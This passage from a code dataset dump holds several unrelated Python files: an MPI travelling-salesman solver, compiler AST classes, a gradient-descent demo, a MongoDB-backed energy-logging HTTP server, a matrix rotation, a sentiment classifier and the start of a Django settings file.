i:\n cost = cost + self.graph[x][itr[x][0]] \\\n + self.graph[i][j]\n elif x is j:\n\n # print str(self.graph[x][itr[x][0]]) + \"-> \" + str(self.graph[i][j])\n\n cost = cost + self.graph[x][itr[x][0]] \\\n + self.graph[j][i]\n string_output(str(self.graph[x][itr[x][0]]) + ' ' \\\n + str(self.graph[j][i]))\n else:\n cost = cost + self.graph[x][itr[x][0]] \\\n + self.graph[x][itr[x][1]]\n\n # print str(self.graph[x][itr[x][0]]) + \" \" + str(self.graph[x][itr[x][1]])\n\n self.cost = cost / 2\n if f == 1:\n\n # print \"flag =\" + str(f)\n\n cost = 0\n\n # print self.graph\n\n itr = self.graph.argsort()\n for x in range(0, self.degree + 1):\n if x == v:\n if v == i:\n w = j\n elif v == j:\n w = i\n if w == itr[x][0]:\n cost = cost + self.graph[x][itr[x][0]] \\\n + self.graph[x][itr[x][1]]\n else:\n\n # print str(self.graph[x][itr[x][0]]) + \" \" + str(self.graph[x][itr[x][1]])\n\n cost = cost + self.graph[x][itr[x][0]] \\\n + self.graph[v][w]\n else:\n\n # print str(itr[x][0]) + \" \" + str(w)\n # print str(self.graph[x][itr[x][0]]) + \" -> \" + str(self.graph[v][w])\n\n cost = cost + self.graph[x][itr[x][0]] \\\n + self.graph[x][itr[x][1]]\n\n # print str(self.graph[x][itr[x][0]]) + \" \" + str(self.graph[x][itr[x][1]])\n\n self.cost = cost / 2\n if f == 2:\n # print \"flag =\" + str(f)\n\n self.calculate_cost()\n\n return True\n\n # This function checks if the\n\n def is_valid_cycle(self):\n global exitflag\n #print 'Saturated vertex'\n #print self.saturated_vertex\n if len(self.saturated_vertex) == self.degree + 1:\n list = []\n for i in range(0, self.degree + 1):\n for j in range(0, self.degree + 1):\n if self.graph[i][j] == 922337:\n pass\n else:\n update_lists(list, j)\n\n if len(list) == (self.degree + 1) * 2:\n for i in range(0, self.degree + 1):\n if list.count(i) is not 2:\n string_output('Not a valid cycle!!')\n return False\n string_output('Woho!! Valid cycle!')\n\n return True\n else:\n\n string_output('Not a vaid cycle!!')\n return False\n\n\ndef generate_edge_seq(g):\n global edge_seq\n n = g.vertex_count\n n = n * (n - 1) / 2\n index = 0\n edge_seq = np.zeros((n, 2), dtype=int)\n for i in range(0, g.vertex_count):\n for j in range(0, g.vertex_count):\n if i is not j:\n if i < j:\n edge_seq[index][0] = int(i)\n edge_seq[index][1] = int(j)\n index = index + 1\n\n\n# generation of Root state\n\ndef generate_root():\n l1 = []\n l2 = []\n l = []\n r = np.zeros((g.vertex_count, 2), dtype=int)\n sroot = State(\n g.graph,\n g.vertex_count,\n -1,\n l1,\n l2,\n r,\n l,\n )\n cost = sroot.calculate_cost()\n string_output('Root generated with cost:' + str(cost))\n return sroot\n\n\ndef create_copy(parent):\n id = parent.sequence_id\n id = id + 1\n n = parent.degree + 1\n inc_l = []\n exc_l = []\n v_s = []\n graph = np.zeros((n, n), dtype=float)\n record = np.zeros((n, 2), dtype=int)\n for i in parent.include_list:\n inc_l.extend([i])\n for j in parent.exclude_list:\n exc_l.extend([j])\n for j in parent.saturated_vertex:\n v_s.extend([j])\n for i in range(0, n):\n for j in range(0, n):\n graph[i][j] = parent.graph[i][j]\n for i in range(0, n):\n for j in range(0, 2):\n record[i][j] = parent.record[i][j]\n child = State(\n graph,\n n,\n id,\n inc_l,\n exc_l,\n record,\n v_s,\n )\n\n return child\n\n\n # State(local.graph,local.edge_seq,local.degree + 1,id,local.include_list,local.exclude_list,local.record,local.saturated_vertex)\n\n\n\n# main function controlling entire flow\n\nif __name__ == '__main__':\n\n\n q = PriorityQueue()\n opt = PriorityQueue()\n g = garph_class()\n generate_edge_seq(g)\n\n\n\n if rank == 0:\n\n g.print_graph()\n\n if q:\n root = generate_root()\n q.push(root, root.cost)\n else:\n string_output('Error!!')\n\n workers = size - 1\n\n while q._State_index is not workers:\n if q.isEmpty() == False:\n local = q.pop()\n string_output(\"State poped - \" + str(local.cost))\n string_output(\"include-\" + str(local.include_list))\n string_output(\"exclude-\" + str(local.exclude_list))\n # print lowerbound\n flag = 0\n # Check if cycle with less cost is already found\n # pruning\n if local.cost < opt_cost:\n id = local.sequence_id\n id = id + 1\n # print \"id :\" + str(local.sequence_id)\n # print \"lesser lower bound\"\n\n string_output(\"Parent: \" + str(local.cost))\n # State generated with the edge\n along = create_copy(local)\n\n # along.adjust_sequence_id()\n\n if along.check_include(id):\n string_output(\n \"State generated along edge \" + str(edge_seq[id]) + \" with cost: \" + str(along.cost))\n flag = 1\n if along.is_valid_cycle():\n if opt.isEmpty() == True:\n opt_cost = along.cost\n #comm.bcast(opt_cost, root=rank)\n opt.push(along, along.cost)\n\n\n else:\n if opt_cost > along.cost:\n opt_cost = along.cost\n #comm.bcast(opt_cost, root=rank)\n opt.push(along, along.cost)\n string_output(opt_cost)\n\n else:\n q.push(along, along.cost)\n\n # State generated with the edge\n string_output(\"Parent: \" + str(local.cost))\n without = create_copy(local)\n\n # without.adjust_sequence_id()\n\n if without.check_exclude(id):\n string_output(\"State generated without edge \" + str(edge_seq[id]) + \" with cost: \" + str(\n without.cost))\n flag = 1\n if without.is_valid_cycle():\n if opt.isEmpty() == True:\n opt_cost = without.cost\n #comm.bcast(opt_cost, root=rank)\n opt.push(without, without.cost)\n\n else:\n if opt_cost > without.cost:\n opt_cost = without.cost\n #comm.bcast(opt_cost, root=rank)\n opt.push(without, without.cost)\n\n else:\n q.push(without, without.cost)\n\n if flag == 0:\n local.sequence_id += 1\n q.push(local, local.cost)\n\n start_time = time.time()\n for process in range(1,size):\n string_output('Sending state to process' + str(process))\n l = []\n data = q.pop()\n l.append(data)\n l.append(opt_cost)\n comm.send(l,dest = process,tag =0)\n\n\n\n if rank > 0:\n coworker = 1\n if rank is 1:\n coworker = 2\n l = comm.recv(source=0, tag=0)\n string_output('Process ' + str(rank)+ ' received state node.')\n remote = l[0]\n opt_cost = l[1]\n q.push(remote,remote.cost)\n while(q.isEmpty()==False):\n local = q.pop()\n if comm.Iprobe(source=coworker, tag=12):\n cost = comm.recv(source=coworker, tag=12)\n string_output('Received new opt cost..')\n if cost < opt_cost:\n opt_cost = cost\n if local.cost < opt_cost:\n string_output(str(rank) + \" popped - \" + str(local.cost))\n string_output(\"include-\" + str(local.include_list))\n string_output(\"exclude-\" + str(local.exclude_list))\n flag = 0\n f1 = 0\n f2 = 0\n opt_flag = 0\n\n id = local.sequence_id\n id += 1\n\n if id <= len(edge_seq):\n\n # string_output \"id :\" + str(local.sequence_id)\n # string_output \"lesser lower bound\"\n\n string_output('Parent: ' + str(local.cost))\n along = create_copy(local)\n string_output('Lists Generated:')\n string_output('include-' + str(along.include_list))\n string_output('exclude-' + str(along.exclude_list))\n\n # along.adjust_sequence_id()\n\n if along.check_include(id):\n string_output('State generated by ' + str(rank)+' along edge ' + str(edge_seq[id]) \\\n + ' with cost: ' + str(along.cost))\n flag = 1\n if along.is_valid_cycle():\n\n if opt_cost > along.cost:\n\n opt_cost = along.cost\n opt_flag = 1\n string_output(\"New optimal tour cost generated...\")\n opt.push(along, along.cost)\n string_output(str(opt_cost))\n else:\n string_output('This cycle is not optimal')\n\n\n else:\n\n f1 = 1\n\n # State generated with the edge\n\n string_output('Parent: ' + str(local.cost))\n without = create_copy(local)\n string_output('Lists Generated:')\n string_output('include-' + str(without.include_list))\n string_output('exclude-' + str(without.exclude_list))\n\n # without.adjust_sequence_id()\n\n if without.check_exclude(id):\n string_output('State generated by ' + str(rank)+' without edge ' + str(edge_seq[id]) \\\n + ' with cost: ' + str(without.cost))\n flag = 1\n if without.is_valid_cycle():\n flag = 1\n if opt_cost > without.cost:\n\n opt_cost = without.cost\n opt_flag = 1\n string_output(\"New optimal tour cost generated...\")\n opt.push(without, without.cost)\n string_output(str(opt_cost))\n else:\n string_output('This cycle is not optimal')\n else:\n\n f2 = 1\n\n # No child generated\n if flag == 0:\n if opt_cost> local.cost:\n string_output(\"Pushing back the original node..\")\n local.sequence_id = id\n q.push(local, local.cost)\n # Child generated\n else:\n # Both being pushed\n if f1 == 1 and f2 == 1:\n if opt_cost> along.cost:\n q.push(along,along.cost)\n if opt_cost > without.cost:\n q.push(without,without.cost)\n # Single needs to be pushed\n elif f1 == 1 and f2 == 0:\n if opt_cost > along.cost:\n q.push(along, along.cost)\n # Single needs to be pushed\n elif f1 == 0 and f2 == 1:\n if opt_cost > without.cost:\n q.push(without, without.cost)\n\n if opt_flag==1:\n string_output(str(rank)+' Sending new tour cost')\n comm.send(opt_cost, dest = coworker, tag = 12)\n else:\n string_output('Pruning as cost greater than optimal cost')\n\n\n\n\n\n string_output('For process '+str( rank)+' optimal cost is '+ str(opt_cost))\n if opt.isEmpty() == False:\n #string_output(opt._State_index)\n o = opt.pop()\n if o.cost <= opt_cost:\n comm.send(o,dest = 0,tag= 30)\n string_output('Sending optimal tour to root')\n else:\n string_output('Tour with least Cost found by another process')\n comm.send(False,dest = 0,tag = 30)\n else:\n string_output('No tour found by '+str(rank))\n\n\n\n\n\n if rank == 0:\n execution_time = time.time() - start_time\n print(\"--- %s seconds ---\" % (execution_time))\n for worker in range(1,size):\n ob = comm.recv(source = worker,tag = 30)\n if ob:\n print('The optimal tour cost =' + str(ob.cost))\n print('The optimal tour includes edges:')\n for i in ob.include_list:\n print(edge_seq[i])\n","sub_path":"MPI/tsp.py","file_name":"tsp.py","file_ext":"py","file_size_in_byte":25079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"202921033","text":"TYPESPEC_NAME = \"TYPESPEC_NAME\"\r\nTYPESPEC_FUNC = \"TYPESPEC_FUNC\"\r\nTYPESPEC_ARRAY = \"TYPESPEC_ARRAY\"\r\nTYPESPEC_PTR = \"TYPESPEC_PTR\"\r\n\r\nclass Typespec(object):\r\n \"\"\"docstring for Typespec.\"\"\"\r\n def __init__(self, kind):\r\n self.kind = kind\r\n\r\n def __eq__(self, other):\r\n return self.kind == other\r\n\r\nclass TypespecName(Typespec):\r\n \"\"\"docstring for TypespecName.\"\"\"\r\n def __init__(self, name):\r\n super(TypespecName, self).__init__(TYPESPEC_NAME)\r\n self.name = name\r\n\r\nclass TypespecFunc(Typespec):\r\n \"\"\"docstring for TypespecFunc.\"\"\"\r\n def __init__(self, arg_types, ret_type):\r\n super(TypespecFunc, self).__init__(TYPESPEC_FUNC)\r\n self.arg_types = arg_types\r\n self.ret_type = ret_type\r\n\r\nclass TypespecArray(Typespec):\r\n \"\"\"docstring for TypespecArray.\"\"\"\r\n def __init__(self, elem_type, size):\r\n super(TypespecArray, self).__init__(TYPESPEC_ARRAY)\r\n self.elem_type = elem_type\r\n self.size = size\r\n\r\nclass TypespecPtr(Typespec):\r\n \"\"\"docstring for TypespecPtr.\"\"\"\r\n def __init__(self, elem_type):\r\n super(TypespecPtr, self).__init__(TYPESPEC_PTR)\r\n self.elem_type = elem_type\r\n\r\n\r\nDECL_FUNC = \"DECL_FUNC\"\r\nDECL_ENUM = \"DECL_ENUM\"\r\nDECL_STRUCT = \"DECL_STRUCT\"\r\nDECL_UNION = \"DECL_UNION\"\r\nDECL_VAR = \"DECL_VAR\"\r\nDECL_CONST = \"DECL_CONST\"\r\nDECL_TYPEDEF = \"DECL_TYPEDEF\"\r\n\r\nclass Decl(object):\r\n \"\"\"docstring for Decl .\"\"\"\r\n def __init__(self, kind, name):\r\n self.kind = kind\r\n self.name = name\r\n\r\n def __eq__(self, other):\r\n return self.kind == other\r\n\r\nclass FuncArg(object):\r\n \"\"\"docstring for FuncArg.\"\"\"\r\n def __init__(self, name, type_):\r\n self.name = name\r\n self.type_ = type_\r\n\r\nclass DeclFunc(Decl):\r\n \"\"\"docstring for DeclFunc.\"\"\"\r\n def __init__(self, name, args, ret_type, block):\r\n super(DeclFunc, self).__init__(DECL_FUNC, name)\r\n self.args = args\r\n self.ret_type = ret_type\r\n self.block = block\r\n\r\nclass EnumItem(object):\r\n \"\"\"docstring for EnumItem.\"\"\"\r\n def __init__(self, name, expr):\r\n self.name = name\r\n self.expr = expr\r\n\r\nclass DeclEnum(Decl):\r\n \"\"\"docstring for DeclEnum.\"\"\"\r\n def __init__(self, name, items):\r\n super(DeclEnum, self).__init__(DECL_ENUM)\r\n self.items = items\r\n\r\nclass AggregateField(object):\r\n \"\"\"docstring for AggregateField.\"\"\"\r\n def __init__(self, names, type_, data_decl):\r\n if names is None and type_ is None:\r\n self.data_decl = data_decl\r\n else:\r\n self.names = names\r\n self.type_ = type_\r\n\r\nclass DeclAggregate(Decl):\r\n \"\"\"docstring for DeclAggregate.\"\"\"\r\n def __init__(self, kind, name, fields):\r\n assert(kind == DECL_STRUCT or kind == DECL_UNION)\r\n super(DeclAggregate, self).__init__(kind, name)\r\n self.fields = fields\r\n\r\nclass DeclVar(Decl):\r\n \"\"\"docstring for DeclVar.\"\"\"\r\n def __init__(self, name, type_, expr):\r\n super(DeclVar, self).__init__(DECL_VAR, name)\r\n self.type_ = type_\r\n self.expr = expr\r\n\r\nclass DeclConst(Decl):\r\n \"\"\"docstring for DeclConst.\"\"\"\r\n def __init__(self, name, expr):\r\n super(DeclConst, self).__init__(DECL_CONST, name)\r\n self.expr = expr\r\n\r\nclass DeclTypedef(Decl):\r\n \"\"\"docstring for DeclTypedef.\"\"\"\r\n def __init__(self, name, _type):\r\n super(DeclTypedef, self).__init__(DECL_TYPEDEF, name)\r\n self.type_ = type_\r\n\r\n#############################################################\r\n\r\nSTMT_DECL = \"STMT_DECL\"\r\nSTMT_IF = \"STMT_IF\"\r\nSTMT_WHILE = \"STMT_WHILE\"\r\nSTMT_FOR = \"STMT_FOR\"\r\nSTMT_DO_WHILE = \"STMT_DO_WHILE\"\r\nSTMT_SWITCH = \"STMT_SWITCH\"\r\nSTMT_RETURN = \"STMT_RETURN\"\r\nSTMT_BREAK = \"STMT_BREAK\"\r\nSTMT_CONTINUE = \"STMT_CONTINUE\"\r\nSTMT_EXPR = \"STMT_EXPR\"\r\nSTMT_ASSIGN = \"STMT_ASSIGN\"\r\nSTMT_BLOCK = \"STMT_BLOCK\"\r\n\r\nclass Stmt(object):\r\n \"\"\"docstring for Stmt.\"\"\"\r\n def __init__(self, kind):\r\n self.kind = kind\r\n\r\n def __eq__(self, other):\r\n return self.kind == other\r\n\r\nclass StmtAssign(Stmt):\r\n \"\"\"docstring for StmtAssign.\"\"\"\r\n def __init__(self, op, left, right):\r\n super(StmtAssign, self).__init__(STMT_ASSIGN)\r\n self.op = op\r\n self.left = left\r\n self.right = right\r\n\r\n\r\nclass StmtList(object):\r\n \"\"\"docstring for StmtList.\"\"\"\r\n def __init__(self, stmts):\r\n self.stmts = stmts\r\n\r\nclass StmtBlock(Stmt):\r\n \"\"\"docstring for StmtBlock.\"\"\"\r\n def __init__(self, stmt_list):\r\n super(StmtBlock, self).__init__(STMT_BLOCK)\r\n self.stmt_list = stmt_list\r\n\r\n\r\nclass StmtDecl(Stmt):\r\n \"\"\"docstring for StmtDecl.\"\"\"\r\n def __init__(self, decl):\r\n super(StmtDecl, self).__init__(STMT_DECL)\r\n self.decl = decl\r\n\r\nclass ElseIf(object):\r\n \"\"\"docstring for ElseIf.\"\"\"\r\n def __init__(self, cond, block):\r\n self.cond = cond\r\n self.block = block\r\n\r\nclass StmtIf(Stmt):\r\n \"\"\"docstring for StmtIf.\"\"\"\r\n def __init__(self, cond, then_block, elseifs, else_block):\r\n super(StmtIf, self).__init__(STMT_IF)\r\n self.cond = cond\r\n self.then_block = then_block\r\n self.elseifs = elseifs\r\n self.else_block = else_block\r\n\r\nclass StmtWhile(Stmt):\r\n \"\"\"docstring for StmtWhile.\"\"\"\r\n def __init__(self, expr, block):\r\n super(StmtWhile, self).__init__(STMT_WHILE)\r\n self.expr = expr\r\n self.block = block\r\n\r\nclass StmtFor(Stmt):\r\n \"\"\"docstring for StmtFor.\"\"\"\r\n def __init__(self, init, cond, update, block):\r\n super(StmtFor, self).__init__(STMT_FOR)\r\n self.init = init\r\n self.cond = cond\r\n self.update = update\r\n self.block = block\r\n\r\nclass StmtDoWhile(Stmt):\r\n \"\"\"docstring for StmtDoWhile.\"\"\"\r\n def __init__(self, block, expr):\r\n super(StmtDoWhile, self).__init__(STMT_DO_WHILE)\r\n self.block = block\r\n self.expr = expr\r\n\r\nclass StmtReturn(Stmt):\r\n \"\"\"docstring for StmtReturn.\"\"\"\r\n def __init__(self, expr):\r\n super(StmtReturn, self).__init__(STMT_RETURN)\r\n self.expr = expr\r\n\r\nclass StmtBreak(Stmt):\r\n \"\"\"docstring for StmtBreak.\"\"\"\r\n def __init__(self):\r\n super(StmtBreak, self).__init__(STMT_BREAK)\r\n\r\nclass StmtContinue(Stmt):\r\n \"\"\"docstring for StmtContinue.\"\"\"\r\n def __init__(self):\r\n super(StmtContinue, self).__init__(STMT_CONTINUE)\r\n\r\nclass SwitchCase(object):\r\n \"\"\"docstring for SwitchCase.\"\"\"\r\n def __init__(self, exprs, stmts, is_default):\r\n self.exprs = exprs\r\n self.stmts = stmts\r\n self.is_default\r\n\r\nclass StmtSwitch(Stmt):\r\n \"\"\"docstring for StmtSwitch.\"\"\"\r\n def __init__(self, expr, cases):\r\n super(StmtSwitch, self).__init__(STMT_SWITCH)\r\n self.expr = expr\r\n self.cases = cases\r\n\r\nclass StmtExpr(Stmt):\r\n \"\"\"docstring for StmtExpr.\"\"\"\r\n def __init__(self, expr):\r\n super(StmtExpr, self).__init__(STMT_EXPR)\r\n self.expr = expr\r\n\r\n############################################################\r\n\r\nEXPR_TERNARY = \"EXPR_TERNARY\"\r\nEXPR_BINARY = \"EXPR_BINARY\"\r\nEXPR_UNARY = \"EXPR_UNARY\"\r\nEXPR_INT = \"EXPR_INT\"\r\nEXPR_FLOAT = \"EXPR_FLOAT\"\r\nEXPR_STR = \"EXPR_STR\"\r\nEXPR_NAME = \"EXPR_NAME\"\r\nEXPR_COMPOUND = \"EXPR_COMPOUND\"\r\nEXPR_CALL = \"EXPR_CALL\"\r\nEXPR_INDEX = \"EXPR_INDEX\"\r\nEXPR_FIELD = \"EXPR_FIELD\"\r\nEXPR_SIZEOF_EXPR = \"EXPR_SIZEOF_EXPR\"\r\nEXPR_SIZEOF_TYPE = \"EXPR_SIZEOF_TYPE\"\r\n\r\n\r\nclass Expr(object):\r\n \"\"\"docstring for Expr.\"\"\"\r\n def __init__(self, kind):\r\n self.kind = kind\r\n\r\n def __eq__(self, other):\r\n return self.kind == other\r\n\r\nclass ExprTernary(Expr):\r\n \"\"\"docstring for ExprTernary.\"\"\"\r\n def __init__(self, cond, then_expr, else_expr):\r\n super(ExprTernary, self).__init__(EXPR_TERNARY)\r\n self.cond = cond\r\n self.then_expr = then_expr\r\n self.else_expr = else_expr\r\n\r\nclass ExprBinary(Expr):\r\n \"\"\"docstring for ExprBinary.\"\"\"\r\n def __init__(self, op, left, right):\r\n super(ExprBinary, self).__init__(EXPR_BINARY)\r\n self.op = op\r\n self.left = left\r\n self.right = right\r\n\r\nclass ExprUnary(Expr):\r\n \"\"\"docstring for ExprUnary.\"\"\"\r\n def __init__(self, op, expr):\r\n super(ExprUnary, self).__init__(EXPR_UNARY)\r\n self.expr = expr\r\n\r\nclass ExprInt(Expr):\r\n \"\"\"docstring for ExprInt.\"\"\"\r\n def __init__(self, val):\r\n super(ExprInt, self).__init__(EXPR_INT)\r\n self.val = val\r\n\r\nclass ExprFloat(Expr):\r\n \"\"\"docstring for ExprFloat.\"\"\"\r\n def __init__(self, val):\r\n super(ExprFloat, self).__init__(EXPR_FLOAT)\r\n self.val = val\r\n\r\nclass ExprStr(Expr):\r\n \"\"\"docstring for ExprStr.\"\"\"\r\n def __init__(self, val):\r\n super(ExprStr, self).__init__(EXPR_STR)\r\n self.val = val\r\n\r\nclass ExprName(Expr):\r\n \"\"\"docstring for ExprName.\"\"\"\r\n def __init__(self, name):\r\n super(ExprName, self).__init__(EXPR_NAME)\r\n self.name = name\r\n\r\nclass ExprCall(Expr):\r\n \"\"\"docstring for ExprCall.\"\"\"\r\n def __init__(self, operand, args):\r\n super(ExprCall, self).__init__(EXPR_CALL)\r\n self.operand = operand\r\n self.args = args\r\n\r\nclass ExprIndex(Expr):\r\n \"\"\"docstring for ExprIndex.\"\"\"\r\n def __init__(self, operand, expr):\r\n super(ExprIndex, self).__init__(EXPR_INDEX)\r\n self.operand = operand\r\n self.expr = expr\r\n\r\nclass ExprField(Expr):\r\n \"\"\"docstring for ExprField.\"\"\"\r\n def __init__(self, operand, field_name):\r\n super(ExprField, self).__init__(EXPR_FIELD)\r\n self.operand = operand\r\n self.field_name = field_name\r\n\r\nclass ExprCompound(Expr):\r\n \"\"\"docstring for ExprCompound.\"\"\"\r\n def __init__(self, type_, args):\r\n super(ExprCompound, self).__init__(EXPR_COMPOUND)\r\n self.type_ = type_\r\n self.args = args\r\n\r\nclass ExprSizeofExpr(Expr):\r\n \"\"\"docstring for ExprSizeofExpr.\"\"\"\r\n def __init__(self, expr):\r\n super(ExprSizeofExpr, self).__init__(EXPR_SIZEOF_EXPR)\r\n self.expr = expr\r\n\r\nclass ExprSizeofType(Expr):\r\n \"\"\"docstring for ExprSizeofType.\"\"\"\r\n def __init__(self, type_):\r\n super(ExprSizeofType, self).__init__(EXPR_SIZEOF_TYPE)\r\n self.type_ = type_\r\n","sub_path":"src/phast.py","file_name":"phast.py","file_ext":"py","file_size_in_byte":10178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"547643200","text":"import matplotlib.pyplot as plt\n\nx = [[1,5],[1,4],[1,3],[1,2],[1,1]]\ny = [2,5,6,8,10]\nw = [2,2]\n\ndef h(x,w):\n return w[0]*x[0]+ (w[1]*x[1])\n\ndef cost(x,y,w):\n m= len(x)\n z=0\n for i in range(m):\n z += (h(x[i], w)-y[i])**2\n return z/(2*m)\n\ndef costddw(x, y, w):\n m = len(x)\n dz = [0]*len(w)\n for i in range(m):\n for j in range(len(w)):\n dz[j]+= (h(x[i],w)-y[i])*x[i][j]\n dz= [i/m for i in dz]\n return dz\n\ndef gradientStep(learningRate, w, x, y):\n #new w = w - learningRate *defcost()\n d = costddw(x,y,w)\n newW= []\n for i in range(len(w)):\n newW.append(w[i]-learningRate*d[i])\n \n w = newW\n return w\n\ndef descent(learningRate, w,x, y):\n a =[]\n b =[]\n c =[]\n for i in range(100):\n w = gradientStep(learningRate, w,x, y)\n a.append(w[0])\n b.append(w[1])\n c.append(cost(x,y,w))\n plt.plot(a, c)\n plt.show()\n \n plt.plot(b, c)\n plt.show()\n return w\n\ndescent(.05, w, x, y)\n\n\n\n","sub_path":"bruh.py","file_name":"bruh.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"511715114","text":"from http.server import HTTPServer, BaseHTTPRequestHandler\nfrom io import BytesIO\nimport pymongo \nfrom datetime import datetime\nimport math \nimport pandas as pd\nfrom urllib.parse import urlparse, parse_qs\n\nclient = pymongo.MongoClient('mongobase', 27017)\n\nclass SimpleHTTPRequestHandler(BaseHTTPRequestHandler):\n\n def do_GET(self):\n self.send_response(200)\n self.end_headers()\n self.wfile.write(b'Hello, world! ss ')\n\n def do_POST(self):\n\n # content_length = int(self.headers['Content-Length'])\n # body = self.rfile.read(content_length)\n self.send_response(200)\n # print('yolo')\n\n query=urlparse(self.path)\n print(query)\n self.end_headers()\n path=query.path.split('/')\n self._database=path[1]\n self._machinename=path[2]\n queries=parse_qs(query.query)\n self._values={key :queries[key][0] for key in queries}\n print(self._values)\n\n\n self.handlevalues()\n\n def handlevalues(self) : \n\n db=client[self._database]\n db['testcases'+self._machinename].insert_one(self._values)\n self._sensors=db['sensor'+self._machinename]\n recap=self.getrecap(self._values)\n db[\"recap\"+self._machinename].insert_one(recap)\n\n print(\"#------------#\")\n print ('machine name : '+self._machinename)\n print('database : '+ self._database)\n print(recap)\n\n \n\n\n\n\n\n def getpowers(self,times): \n x=list(self._sensors.find({'target':'system','timestamp' :{'$gte':times['begin'] ,'$lte':times['end']}},projection=['rapl','timestamp']))\n conso= pd.DataFrame(x)\n sonde=next(iter(x[0]['rapl']['0']))\n conso['power']=conso['rapl'].apply(lambda row :math.ldexp( row['0'][sonde] ['RAPL_ENERGY_PKG'],-32))\n warmup=conso[(conso[\"timestamp\"]<=times[\"execution\"]) & (conso [\"timestamp\"]>times[\"warmup\"] )]\n execution = conso[(conso[\"timestamp\"]>times[\"execution\"]) ]\n return warmup.loc[:,['timestamp','power']],execution.loc[:,['timestamp', 'power']],\n\n\n\n\n def getrecap(self,target):\n \"\"\"require a row from the database and not a times object\"\"\"\n times=gettimes(target)\n warmuppowers,executionpowers=self.getpowers(times)\n return {'name': target['name'] \n ,'warmup time': (int(target['execution'])-int(target['warmup'])) \n ,'warmup energy': getenergy(warmuppowers)\n ,'execution time': (int(target['end'])-int(target['execution']) )\n ,'execution energy': getenergy(executionpowers),\n 'id':target['id'],\n \n }\n\n\ndef gettimes(x):\n \"\"\"convert the time stamps from int to datetame \"\"\"\n l={}\n l['execution']=datetime.utcfromtimestamp(int(x['execution']))\n l['begin']=datetime.utcfromtimestamp(int(x['begin']))\n l['end']=datetime.utcfromtimestamp(int(x['end']))\n l['warmup']=datetime.utcfromtimestamp(int(x['warmup']))\n return l\n\ndef getenergy(powers):\n return powers['power'].sum()\n\n\nhttpd = HTTPServer(('0.0.0.0', 4443), SimpleHTTPRequestHandler)\n\nhttpd.serve_forever()\n","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"49561898","text":"#!/usr/bin/python3\n\"\"\"\nGiven an n x n 2D matrix, rotate it 90 degree.\n\"\"\"\n\n\ndef rotate_2d_matrix(matrix):\n \"\"\"\n Return: Nothing.\n The matrix must be edited \"in-place\".\n \"\"\"\n n = len(matrix)\n\n for i in range(n // 2):\n for j in range(i, n - i - 1):\n temp = matrix[i][j]\n matrix[i][j] = matrix[n - 1 - j][i]\n matrix[n - 1 - j][i] = matrix[n - 1 - i][n - 1 - j]\n matrix[n - 1 - i][n - 1 - j] = matrix[j][n - 1 - i]\n matrix[j][n - 1 - i] = temp\n","sub_path":"0x16-rotate_2d_matrix/0-rotate_2d_matrix.py","file_name":"0-rotate_2d_matrix.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"460465813","text":"import pandas as pd\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import metrics\nfrom sklearn.svm import LinearSVC\nfrom sklearn.model_selection import StratifiedKFold\nimport sys\n\nfeatureSize = int(sys.argv[1])\nkfoldSize = int(sys.argv[2])\n\ndf = pd.read_csv(\"traintestPreProcessed.csv\")\n\nx = df['SentimentText']\ny = df['Sentiment']\n\nTotalScores = 0\nTotalFMES = 0\n\nprint(\"K-FOLD CROSS VALIDATION: \" + str(kfoldSize))\nprint(\"\")\nkf = StratifiedKFold(n_splits=kfoldSize)\n\nfor train_index, test_index in kf.split(x, y):\n x_train, x_test, y_train, y_test = x[train_index], x[test_index], y[train_index], y[test_index]\n\n count_vectorizer = CountVectorizer(stop_words=\"english\", max_features=featureSize)\n count_train = count_vectorizer.fit_transform(x_train.values)\n count_test = count_vectorizer.transform(x_test.values)\n\n featuresName = count_vectorizer.get_feature_names()\n print(\"COUNT VECTORIZER FEATURES:\" + str(len(featuresName)))\n \n print(\"LINEAR SUPPORT VECTOR CLASSIFIER\")\n nb_classifier = LinearSVC(max_iter=15000)\n nb_classifier.fit(count_train, y_train)\n pred = nb_classifier.predict(count_test)\n score = metrics.accuracy_score(y_test, pred)\n print(\"Accuracy Score: \" + str(score * 100) + \" %\")\n fmes = metrics.f1_score(y_test, pred)\n print(\"F Measure Score: \" + str(fmes * 100) + \" %\")\n TotalScores = TotalScores + score\n TotalFMES = TotalFMES + fmes\n \n cm = metrics.confusion_matrix(y_test, pred, labels=[1,0])\n list1 = [\"Actually 1\", \"Actually 0\"]\n list2 = [\"Classified 1\", \"Classified 0\"]\n cmtable = pd.DataFrame(cm, list1,list2)\n print(cmtable)\n print(\"\")\n print(\"\")\n \nprint(\"Average Accuracy Score: \" + str((TotalScores/kfoldSize) * 100) + \" %\")\nprint(\"Average F Measure Score: \" + str((TotalFMES/kfoldSize) * 100) + \" %\")\nprint(\"\")\n ","sub_path":"KFOLD_CV_LSVC.py","file_name":"KFOLD_CV_LSVC.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"570916909","text":"\"\"\" Django settings for core applications.\n\"\"\"\nimport os\n\nSERVER_URI = os.environ[\"SERVER_URI\"] if \"SERVER_URI\" in os.environ else None\n\n# Website customization\nWEBSITE_SHORT_TITLE = \"MDCS\"\nCUSTOM_DATA = \"Materials Data\"\nCUSTOM_NAME = os.environ[\"SERVER_NAME\"] if \"SERVER_NAME\" in os.environ else \"Curator\"\nCUSTOM_TITLE = \"Materials Data Curation System\"\nCUSTOM_SUBTITLE = \"Part of the Materials Genome Initiative\"\nCURATE_MENU_NAME = \"Data Curation\"\nWEBSITE_ADMIN_COLOR = \"yellow\"\n# black, black-light, blue, blue-light, green, green-light, purple, purple-light, red, red-light, yellow, yellow-light\n\nDATA_SOURCES_EXPLORE_APPS = [\n \"core_explore_federated_search_app\",\n \"core_explore_oaipmh_app\",\n]\n\n# Lists in data not stored if number of elements is over the limit (e.g. 100)\nSEARCHABLE_DATA_OCCURRENCES_LIMIT 